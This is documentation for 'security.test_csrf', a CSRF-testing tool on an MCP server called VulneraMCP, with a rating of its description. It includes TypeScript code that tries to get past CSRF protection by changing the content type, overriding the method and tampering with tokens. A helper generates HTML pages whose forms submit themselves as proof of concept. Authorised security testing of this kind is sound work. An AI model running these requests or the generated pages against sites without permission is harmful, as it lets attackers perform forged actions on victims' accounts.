VulneraMCP

security.test_csrf

Test web applications for Cross-Site Request Forgery vulnerabilities using multiple techniques including token bypass and method manipulation to identify security weaknesses.

Instructions

Test for CSRF vulnerabilities using advanced techniques

Input Schema

TableJSON Schema

Name	Required	Description	Default
`url`	Yes	Target URL
`method`	No		POST
`params`	No	Parameters to test
`testTechniques`	No	Techniques to test (basic, content-type, method, token-bypass, referrer)

Implementation Reference

src/tools/csrf.ts:28-211 (handler)

Main handler function for 'security.test_csrf' tool. Performs multiple CSRF vulnerability tests (basic, content-type bypass, method override, token bypass) using axios requests, determines vulnerability, saves results to database, generates PoC if vulnerable, and returns formatted result.

async ({ url, method = 'POST', params = {}, testTechniques = ['basic'] }: any): Promise<ToolResult> => {
  try {
    const results: any[] = [];
    let vulnerable = false;
    let bestTechnique = '';

    // Test 1: Basic CSRF
    if (testTechniques.includes('basic')) {
      try {
        const response = await axios({
          method,
          url,
          data: params,
          headers: {
            'Content-Type': 'application/x-www-form-urlencoded',
          },
          validateStatus: () => true,
        });

        const isVulnerable = response.status < 400 && !response.data?.error;
        if (isVulnerable) {
          vulnerable = true;
          bestTechnique = 'basic';
        }

        results.push({
          technique: 'basic',
          vulnerable: isVulnerable,
          status: response.status,
        });
      } catch (error: any) {
        results.push({
          technique: 'basic',
          vulnerable: false,
          error: error.message,
        });
      }
    }

    // Test 2: Content-Type bypass (text/plain)
    if (testTechniques.includes('content-type')) {
      try {
        const response = await axios({
          method,
          url,
          data: JSON.stringify(params),
          headers: {
            'Content-Type': 'text/plain',
          },
          validateStatus: () => true,
        });

        const isVulnerable = response.status < 400 && !response.data?.error;
        if (isVulnerable && !vulnerable) {
          vulnerable = true;
          bestTechnique = 'content-type';
        }

        results.push({
          technique: 'content-type',
          vulnerable: isVulnerable,
          status: response.status,
        });
      } catch (error: any) {
        results.push({
          technique: 'content-type',
          vulnerable: false,
          error: error.message,
        });
      }
    }

    // Test 3: Method override
    if (testTechniques.includes('method')) {
      try {
        const response = await axios({
          method: 'POST',
          url,
          data: { ...params, _method: method },
          headers: {
            'Content-Type': 'application/x-www-form-urlencoded',
          },
          validateStatus: () => true,
        });

        const isVulnerable = response.status < 400 && !response.data?.error;
        if (isVulnerable && !vulnerable) {
          vulnerable = true;
          bestTechnique = 'method-override';
        }

        results.push({
          technique: 'method-override',
          vulnerable: isVulnerable,
          status: response.status,
        });
      } catch (error: any) {
        results.push({
          technique: 'method-override',
          vulnerable: false,
          error: error.message,
        });
      }
    }

    // Test 4: Token bypass (remove, blank, random)
    if (testTechniques.includes('token-bypass')) {
      const tokenTests = [
        { name: 'no-token', params: { ...params } },
        { name: 'blank-token', params: { ...params, csrf_token: '', anti_csrf: '' } },
        { name: 'random-token', params: { ...params, csrf_token: 'random123', anti_csrf: 'random123' } },
      ];

      for (const test of tokenTests) {
        try {
          const response = await axios({
            method,
            url,
            data: test.params,
            headers: {
              'Content-Type': 'application/x-www-form-urlencoded',
            },
            validateStatus: () => true,
          });

          const isVulnerable = response.status < 400 && !response.data?.error;
          if (isVulnerable && !vulnerable) {
            vulnerable = true;
            bestTechnique = `token-bypass-${test.name}`;
          }

          results.push({
            technique: `token-bypass-${test.name}`,
            vulnerable: isVulnerable,
            status: response.status,
          });
        } catch (error: any) {
          results.push({
            technique: `token-bypass-${test.name}`,
            vulnerable: false,
            error: error.message,
          });
        }
      }
    }

    const score = vulnerable ? 8 : 3;
    await saveTestResult(
      url,
      'csrf_test',
      vulnerable,
      { results, bestTechnique },
      undefined,
      score,
      JSON.stringify(params),
      JSON.stringify(results)
    );

    if (vulnerable) {
      await saveFinding({
        target: url,
        type: 'CSRF',
        severity: 'high',
        description: `CSRF vulnerability found using ${bestTechnique} technique`,
        payload: JSON.stringify(params),
        response: JSON.stringify(results),
        timestamp: new Date(),
        score: 8,
      });
    }

    return formatToolResult(true, {
      vulnerable,
      bestTechnique,
      results,
      poc: vulnerable
        ? generateCSRFPoC(url, method, params, bestTechnique)
        : null,
    });
  } catch (error: any) {
    await saveTestResult(url, 'csrf_test', false, null, error.message, 0);
    return formatToolResult(false, null, error.message);
  }
}

src/tools/csrf.ts:10-26 (schema)

Input schema for the tool defining parameters: url (required), method (default POST), params (object), testTechniques (array, defaults to ['basic']).

{
  description: 'Test for CSRF vulnerabilities using advanced techniques',
  inputSchema: {
    type: 'object',
    properties: {
      url: { type: 'string', description: 'Target URL' },
      method: { type: 'string', enum: ['GET', 'POST', 'PUT', 'PATCH', 'DELETE'], default: 'POST' },
      params: { type: 'object', description: 'Parameters to test' },
      testTechniques: {
        type: 'array',
        items: { type: 'string' },
        description: 'Techniques to test (basic, content-type, method, token-bypass, referrer)',
        default: ['basic', 'content-type', 'method', 'token-bypass'],
      },
    },
    required: ['url'],
  },

src/tools/csrf.ts:8-212 (registration)

Registers the 'security.test_csrf' tool on the MCP server using server.tool(), including description, inputSchema, and handler function.

server.tool(
  'security.test_csrf',
  {
    description: 'Test for CSRF vulnerabilities using advanced techniques',
    inputSchema: {
      type: 'object',
      properties: {
        url: { type: 'string', description: 'Target URL' },
        method: { type: 'string', enum: ['GET', 'POST', 'PUT', 'PATCH', 'DELETE'], default: 'POST' },
        params: { type: 'object', description: 'Parameters to test' },
        testTechniques: {
          type: 'array',
          items: { type: 'string' },
          description: 'Techniques to test (basic, content-type, method, token-bypass, referrer)',
          default: ['basic', 'content-type', 'method', 'token-bypass'],
        },
      },
      required: ['url'],
    },
  },
  async ({ url, method = 'POST', params = {}, testTechniques = ['basic'] }: any): Promise<ToolResult> => {
    try {
      const results: any[] = [];
      let vulnerable = false;
      let bestTechnique = '';

      // Test 1: Basic CSRF
      if (testTechniques.includes('basic')) {
        try {
          const response = await axios({
            method,
            url,
            data: params,
            headers: {
              'Content-Type': 'application/x-www-form-urlencoded',
            },
            validateStatus: () => true,
          });

          const isVulnerable = response.status < 400 && !response.data?.error;
          if (isVulnerable) {
            vulnerable = true;
            bestTechnique = 'basic';
          }

          results.push({
            technique: 'basic',
            vulnerable: isVulnerable,
            status: response.status,
          });
        } catch (error: any) {
          results.push({
            technique: 'basic',
            vulnerable: false,
            error: error.message,
          });
        }
      }

      // Test 2: Content-Type bypass (text/plain)
      if (testTechniques.includes('content-type')) {
        try {
          const response = await axios({
            method,
            url,
            data: JSON.stringify(params),
            headers: {
              'Content-Type': 'text/plain',
            },
            validateStatus: () => true,
          });

          const isVulnerable = response.status < 400 && !response.data?.error;
          if (isVulnerable && !vulnerable) {
            vulnerable = true;
            bestTechnique = 'content-type';
          }

          results.push({
            technique: 'content-type',
            vulnerable: isVulnerable,
            status: response.status,
          });
        } catch (error: any) {
          results.push({
            technique: 'content-type',
            vulnerable: false,
            error: error.message,
          });
        }
      }

      // Test 3: Method override
      if (testTechniques.includes('method')) {
        try {
          const response = await axios({
            method: 'POST',
            url,
            data: { ...params, _method: method },
            headers: {
              'Content-Type': 'application/x-www-form-urlencoded',
            },
            validateStatus: () => true,
          });

          const isVulnerable = response.status < 400 && !response.data?.error;
          if (isVulnerable && !vulnerable) {
            vulnerable = true;
            bestTechnique = 'method-override';
          }

          results.push({
            technique: 'method-override',
            vulnerable: isVulnerable,
            status: response.status,
          });
        } catch (error: any) {
          results.push({
            technique: 'method-override',
            vulnerable: false,
            error: error.message,
          });
        }
      }

      // Test 4: Token bypass (remove, blank, random)
      if (testTechniques.includes('token-bypass')) {
        const tokenTests = [
          { name: 'no-token', params: { ...params } },
          { name: 'blank-token', params: { ...params, csrf_token: '', anti_csrf: '' } },
          { name: 'random-token', params: { ...params, csrf_token: 'random123', anti_csrf: 'random123' } },
        ];

        for (const test of tokenTests) {
          try {
            const response = await axios({
              method,
              url,
              data: test.params,
              headers: {
                'Content-Type': 'application/x-www-form-urlencoded',
              },
              validateStatus: () => true,
            });

            const isVulnerable = response.status < 400 && !response.data?.error;
            if (isVulnerable && !vulnerable) {
              vulnerable = true;
              bestTechnique = `token-bypass-${test.name}`;
            }

            results.push({
              technique: `token-bypass-${test.name}`,
              vulnerable: isVulnerable,
              status: response.status,
            });
          } catch (error: any) {
            results.push({
              technique: `token-bypass-${test.name}`,
              vulnerable: false,
              error: error.message,
            });
          }
        }
      }

      const score = vulnerable ? 8 : 3;
      await saveTestResult(
        url,
        'csrf_test',
        vulnerable,
        { results, bestTechnique },
        undefined,
        score,
        JSON.stringify(params),
        JSON.stringify(results)
      );

      if (vulnerable) {
        await saveFinding({
          target: url,
          type: 'CSRF',
          severity: 'high',
          description: `CSRF vulnerability found using ${bestTechnique} technique`,
          payload: JSON.stringify(params),
          response: JSON.stringify(results),
          timestamp: new Date(),
          score: 8,
        });
      }

      return formatToolResult(true, {
        vulnerable,
        bestTechnique,
        results,
        poc: vulnerable
          ? generateCSRFPoC(url, method, params, bestTechnique)
          : null,
      });
    } catch (error: any) {
      await saveTestResult(url, 'csrf_test', false, null, error.message, 0);
      return formatToolResult(false, null, error.message);
    }
  }
);

src/index.ts:38-38 (registration)
Calls registerCSRFTools(server) to register the CSRF tools, including security.test_csrf, during server initialization.
```
registerCSRFTools(server);
```

src/tools/csrf.ts:215-265 (helper)

Helper function generateCSRFPoC that creates an HTML proof-of-concept page for exploiting the discovered CSRF vulnerability, customized based on the bypass technique used.

function generateCSRFPoC(
  url: string,
  method: string,
  params: any,
  technique: string
): string {
  const formInputs = Object.entries(params)
    .map(([key, value]) => `<input type="hidden" name="${key}" value="${value}"/>`)
    .join('\n      ');

  if (technique.includes('content-type')) {
    return `<!DOCTYPE html>
<html>
  <body>
    <form action="${url}" method="POST" enctype="text/plain">
      <input type="hidden" name='${JSON.stringify(params).slice(0, -1)}' value='}'/>
      <input type="submit" value="Submit request"/>
    </form>
    <script>history.pushState('','','/');document.forms[0].submit();</script>
  </body>
</html>`;
  }

  if (technique.includes('referrer')) {
    return `<!DOCTYPE html>
<html>
  <head>
    <meta name="referrer" content="no-referrer">
  </head>
  <body>
    <form action="${url}" method="${method}">
      ${formInputs}
      <input type="submit" value="Submit request"/>
    </form>
    <script>history.pushState('','','/');document.forms[0].submit();</script>
  </body>
</html>`;
  }

  return `<!DOCTYPE html>
<html>
  <body>
    <h1>CSRF Proof of Concept</h1>
    <form action="${url}" method="${method}">
      ${formInputs}
      <input type="submit" value="Submit Request">
    </form>
    <script>document.forms[0].submit();</script>
  </body>
</html>`;
}

Tool Definition Quality

C2.6/5.0

Behavior2/5

Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?

With no annotations provided, the description carries full burden for behavioral disclosure. It mentions 'advanced techniques' but doesn't specify what these entail operationally (e.g., whether it performs actual attacks, requires authentication, has rate limits, or returns structured findings). The description lacks critical behavioral details needed for a security testing tool with potential destructive implications.

Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.

Conciseness4/5

Is the description appropriately sized, front-loaded, and free of redundancy?

The description is a single, efficient sentence with no wasted words. It's appropriately front-loaded with the core purpose. However, it could be more structured by separating purpose from technique details, but this is minor given the brevity.

Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.

Completeness2/5

Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?

For a security testing tool with 4 parameters, no annotations, and no output schema, the description is incomplete. It doesn't address behavioral aspects like safety (could this trigger actual CSRF attacks?), output format, error handling, or integration with sibling tools (e.g., 'db.save_finding'). The context signals indicate significant complexity that the description doesn't adequately cover.

Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.

Parameters3/5

Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?

Schema description coverage is 75% (3 of 4 parameters have descriptions), so the baseline is 3. The description adds no additional parameter semantics beyond what's in the schema—it doesn't explain how 'testTechniques' relate to 'advanced techniques', provide examples for 'params', or clarify URL format expectations. The description fails to compensate for the 25% coverage gap in the schema.

Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.

Purpose3/5

Does the description clearly state what the tool does and how it differs from similar tools?

The description 'Test for CSRF vulnerabilities using advanced techniques' states the general purpose (testing CSRF vulnerabilities) but lacks specificity about what resources are targeted or what 'advanced techniques' entail. It distinguishes from some siblings like 'security.test_xss' by focusing on CSRF, but doesn't clearly differentiate from other security testing tools in terms of scope or methodology.

Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.

Usage Guidelines2/5

Does the description explain when to use this tool, when not to, or what alternatives exist?

No guidance is provided on when to use this tool versus alternatives like 'security.test_auth_bypass' or 'security.test_xss'. The description doesn't mention prerequisites, target contexts (e.g., authenticated endpoints), or comparison with sibling tools. Usage is implied only by the tool name and general security testing context.

Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.

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